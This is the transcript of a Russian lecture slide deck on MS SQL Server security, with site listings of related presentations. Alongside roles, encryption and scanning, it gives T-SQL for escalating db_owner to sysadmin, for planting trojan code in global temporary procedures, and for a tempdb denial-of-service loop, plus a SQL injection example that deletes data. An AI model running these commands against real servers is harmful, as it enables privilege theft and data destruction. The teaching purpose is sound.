Безопасность СУБД Раздел IV. Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД.

Презентация:



Advertisements
Похожие презентации
Лекция 27 Лекция 27 Идентификация пользователей. Проверка и назначение полномочий и представлений данных пользователей. Защита базы данных. Контроль параллельной.
Advertisements

Безопасность СУБД СУБД имеет свои собственные: Пользовательские бюджеты Механизм ведения аудита Механизм разграничения доступа Язык программирования Механизм.
Администрирование информационных систем Администрирование БД. Управление разрешениями.
Обеспечение безопасности данных. Управление доступом к данным. Управление доступом к данным. Управление пользователями БД. Управление пользователями БД.
Управление доступом к данным. Управление доступом При решение вопроса о разворачивании сервера БД MS SQL Server 2000 необходимо решить вопросы защиты.
Администрирование и безопасность MySQL. Создание и удаление пользователей Под учетной записью пользователя MySQL подразумевается строка в таблице user.
Урок 1. Обзор сервера SQL Server. Обзор Что такое сервер SQL Server Архитектура сервера SQL Server Система безопасности сервера SQL Server Базы данных.
«Управление доступом к данным» Подготовила студентка 2 курса 10 группы ГМУ Филиппова Галина Валерьевна.
Slide Title Безопасность Windows NT Server 4.0 Slide Title Корпоративная сеть Уровни информационной инфраструктуры ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ.
Тамбовский государственный университет имени Г.Р. Державина Институт математики, физики и информатики Кафедра информатики и информационных технологий Иванова.
Защита баз данных. Повестка дня Реалии сегодняшнего дня … Источники атак Уязвимости СУБД Что делать ? Кто поможет ? DbProtect – новое предлагаемое решение.
Введение в SQL (НЕ select) Затрагиваемые темы Роль языка SQL. Части SQL Роль языка SQL. Части SQL Администрирование БД: привилегии (DCL) Администрирование.
Безопасность СУБД Средства и методы обеспечения конфиденциальности и целостности данных в СУБД Подготовили: Редишев М.В. Трефилов В.В. Подготовили: Редишев.
База данных База данных – это конкретная предметная область, описанная с помощью таблиц.
Процедуры Базы данных: учебный курс Некоторые операции, рассматриваемые как неделимые, трудно выразить с помощью одного запроса к БД. Примеры: занести.
Урок 6. Восстановление баз данных. Обзор Процесс регенерации на сервере SQL Server Подготовка к восстановлению базы данных Восстановление резервных копий.
Разработка телекоммуникационной и информационной системы для прогнозирования аварий и катастроф на НПЗ.
Доступ в DB2 Белькова Евгения, программист отдела тестирования, группа DB2 Tools.
Администрирование информационных систем Начало работы с MS SQL Server 2000.
Учетные записи пользователей и групп Дисциплина «Построение Windows-сетей» Сергеев А. Н. Волгоградский государственный социально-педагогический университет.
Транксрипт:

Безопасность СУБД Раздел IV

Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД

Безопасность СУБД ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Пользовательские бюджеты Механизм аудита Механизм разграничения доступа Язык программирования Механизм управления паролями

Методы аутентификации Integrated Windows NTLM Kerberos Local SAM Active Directory pass XOR 0xA5 master sysxlogins pwd pwdencrypt(pass) SQL Server Authentication

Разграничение доступа master sysxlogins Server login select * from db.table db table Database master Database DB db sysusers Db user db syspermissions Grant Blank Deny

Стандартные учетные записи Server login SA Builtin/Administrators Standard Windows Group Database Users DBO Guest master tempdb

Роли пользователей Создавать БД Создавать login Удалять БД Читать данные Удалять таблицу Писать данные Роли уровня сервера Роли уровня БД public

Роли пользователей Стандартные роли уровня сервера Серверная роль Описание sysadmin Полный доступ к серверу serveradmin Настройка параметров уровня сервера, выключение сервера. setupadmin Настройка присоединенных серверов и процесса запуска сервера. securityadmin Управление, настройками безопасности сервера, включая присоединенные серверы, настройка разрешения CREATE DATABASE. Установка пароля для учетных записей сервера. processadmin Имеет права прерывать процессы сервера SQL. dbcreator Имеет права создавать, модифицировать, удалять и восстанавливать любую базу данных. diskadmin Управление файлами Bulkadmin Разрешает пользователю выполнять операцию BULK INSERT

Роли пользователей Стандартные роли уровня базы данных Роли уровня БД Описание db_owner Полный доступ к объектам БД db_accessadmin Управляет доступом для учетных записей Windows и SQL сервера db_datareader Читать все данные из всех пользовательских таблиц db_datawriter Добавлять, удалять и модифицировать данные в пользовательских таблицах db_ddladmin Выполнять команды Data Definition Language (DDL) в данной БД db_securityadmin Изменяет принадлежность роли и разрешения на пользовательских объектах БД db_backupoperator Выполнят операции резервного копирования базы данных db_denydatareader Запрещает чтение данных из пользовательских таблиц db_denydatawriter Запрещает добавлять, удалять и модифицировать данные в пользовательских таблицах

Управление сервером

Цепочка владения Ownership Chains Db.owner. user_table Db.owner.sp_select char(30) = user SELECT * from user_table where user - execute user - select user select * from user_table exec sp_select

Угрозы безопасности СУБД Компрометация ОС с помощью СУБД Использование системных хранимых процедур Обход защитных механизмов при физическом доступе Перехват данных при передаче по сети Использование цепочки владения для повышения полномочий Получение паролей пользователей Внедрение SQL кода (SQL Injection)

Шифрование трафика (SSL/TLS) Перехват данных при передаче по сети 1. Получить Server Authentication Certificate для использования с FQDN сервера 2. Установить сертификат в локальное хранилище компьютера 3. Включить шифрование Force Protocol Encryption 4. Проверить соединение (ODBC): Driver=SQLServer;Server=ServerName; Network=DBNETLIB.DLL;Encrypt=YES

Учетные записи служб SQL Server Server Agent Microsoft Search DTS Local System User Local System User Local System User Local System User Компрометация ОС с помощью СУБД

Шифрование баз данных Обход защитных механизмов при физическом доступе 1. Выполнить рекомендации по настройке EFS 2. Настроить сервис сервера на запуск от имени доменной учетной записи 3. Остановить SQL сервер 4. Зайти в систему от имени доменной учетной записи 5. Использовать утилиту chipher с ключом /W для шифрования файлов базы данных (*.ldf, *.mdf) 6. Очистить кэш доменных учетных записей 7. Запретить вход на сервер группе builtin/administrators 8. Использовать SysKey

Межбазовая цепочка владения Cross database ownership chain Master.dbo. sysxlogins Database master Database test dbo test.dbo.test create proc dbo.test as select * from master.dbo.sysxlogins exec test

Межбазовая цепочка владения Получение пользователем db_owner привилегий sa Создаем вид для модификации таблицы sysxlogins create view dbo.test2 as select * from master.dbo.sysxlogins Используем ошибку в sp_msdropretry для замены sid (0x01=sa) exec sp_msdropretry xx update sysusers set sid=0x01 where name= dbo, xx Set xstatus field to 18 (sysadmin) exec sp_msdropretry xx update dbo.test set xstatus=18 where name= SUSER_SNAME(), xx

Межбазовая цепочка владения Способ защиты Отключена по умолчанию в SQL Server 2000 Service Pack 3 Есть возможность включить в пределах сервера и отдельной базы данных База данных master не поддерживает опцию db chaining exec sp_configure «Cross DB Ownership Chaining», «1» exec sp_dboption «databasename», «db chaining», «true»

Временные хранимые процедуры: Троянский код в хранимых процедурах Могут быть созданы любым пользователем Могут быть выполнены любым пользователем Могут быть модифицированы любым пользователем select name from tempdb..sysobjects where name like '##%' 1. Поиск процедуры: 2. Модификация: alter proc ## as 3. Ожидание выполнения привилегированным пользователем

Троянский код в хранимых процедурах Microsoft не считает данное поведение уязвимостью Глобальные процедуры работают в соответствии с документацией «by Design» Вывод: Не использовать глобальные хранимые процедуры

Отказ в обслуживании Временные таблицы могут создаваться любым пользователем Пользователь guest не может быть удален из базы данных tempdb create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp

Отказ в обслуживании Использование временных таблиц Database temp Database test user #tmp create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp #tmp

SQL Injection Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением операторов языка SQL SQL Injection могут быть подвержены: - WEB приложения - Двухзвенные приложения - Хранимые процедуры

SQL Injection id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) select * from test where id=1

SQL Injection from test id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) select * from test where id=1; delete from test

SQL Injection Программа Data Thief

Практическая работа 23 Исследование метода SQL Injection

Анализ защищённости СУБД ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Database Scanner

Выполняемые проверки Authentication Параметры идентификации и аутентификации Authorization Права и допуски пользователей к объектам БД System Integrity Параметры ОС (платформы)

Практическая работа 24 Анализ защищённости СУБД MSSQL Server с помощью программы Database Scanner

Вопросы ?